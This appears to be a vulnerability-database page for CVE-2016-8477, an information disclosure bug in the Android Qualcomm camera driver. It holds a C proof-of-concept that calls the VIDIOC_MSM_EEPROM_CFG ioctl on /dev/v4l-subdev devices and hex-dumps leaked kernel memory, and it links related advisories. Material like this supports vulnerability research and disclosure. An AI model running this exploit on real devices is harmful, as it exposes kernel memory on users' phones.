Lucene search
K

Google Android Qualcomm Camera Driver Multiple Information Disclosure Vulnerabilities(CVE-2016-8477)

🗓️ 04 Apr 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 45 Views

Google Android Qualcomm Camera Driver Information Disclosure Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
Android Security Bulletins
Android Security Bulletin—March 2017Stay organized with collectionsSave and categorize content based on your preferences.
6 Mar 201700:00
androidsecurity
CVE
CVE-2016-8477
8 Mar 201701:00
cve
Cvelist
CVE-2016-8477
8 Mar 201701:00
cvelist
EUVD
EUVD-2016-9325
7 Oct 202500:30
euvd
NVD
CVE-2016-8477
8 Mar 201701:59
nvd
OSV
UBUNTU-CVE-2016-8477
8 Mar 201701:59
osv
Prion
Information disclosure
8 Mar 201701:59
prion
UbuntuCve
CVE-2016-8477
8 Mar 201701:59
ubuntucve

                                                #include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/videodev2.h>
#include <linux/types.h>

#define MAX_SENSOR_NAME 32

enum eeprom_cfg_type_t {
	CFG_EEPROM_GET_INFO,
	CFG_EEPROM_GET_CAL_DATA,
	CFG_EEPROM_READ_CAL_DATA,
	CFG_EEPROM_WRITE_DATA,
	CFG_EEPROM_GET_MM_INFO,
};

struct eeprom_get_t {
	uint32_t num_bytes;
};

struct eeprom_read_t {
	uint8_t *dbuffer;
	uint32_t num_bytes;
};

struct eeprom_write_t {
	uint8_t *dbuffer;
	uint32_t num_bytes;
};

struct eeprom_get_cmm_t {
	uint32_t cmm_support;
	uint32_t cmm_compression;
	uint32_t cmm_size;
};

struct msm_eeprom_cfg_data {
	enum eeprom_cfg_type_t cfgtype;
	uint8_t is_supported;
	union {
		char eeprom_name[MAX_SENSOR_NAME];
		struct eeprom_get_t get_data;
		struct eeprom_read_t read_data;
		struct eeprom_write_t write_data;
		struct eeprom_get_cmm_t get_cmm_data;
	} cfg;
};

#define VIDIOC_MSM_EEPROM_CFG \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_eeprom_cfg_data)


int main(void)
{
	char subdev[32] = { 0 };
	int i, j;
	int fd;
	int ret;
	struct msm_eeprom_cfg_data request = { 0 };
	
	printf("=== Kernel VIDIOC_MSM_EEPROM_CFG Info Leak ===\n");
	
	for (i = 9; i < 11; i++) {
		
		if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
			printf("Failed to snprintf\n");
			exit(EXIT_FAILURE);
		}
		
		fd = open(subdev, O_RDWR);

		if (fd < 0) {
			printf("Couldn't open %s with error %s\n", subdev, strerror(errno));
			continue;
		}
		
		ret = ioctl(fd, VIDIOC_MSM_EEPROM_CFG, &request);
		if (ret > 0) {
			printf("Found subdev that exports ioctl on %s\n", subdev);

			return fd;
		}
		
		// print string data from kernel
		printf("Got name: %s\n", request.cfg.eeprom_name);

		printf("Dump of entire name buf:\n");
	
		// now dump the entire data from kernel... ;-)
		for(j = 0; j < sizeof(request.cfg.eeprom_name); j++) {
			printf("%2X ", request.cfg.eeprom_name[j]);
		}

		printf("\n");

		memset(&request, 0x00, sizeof(request));

		close(fd);
	}
	
	return 0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Apr 2017 00:00Current
5.9Medium risk
Vulners AI Score5.9
EPSS0.00279
45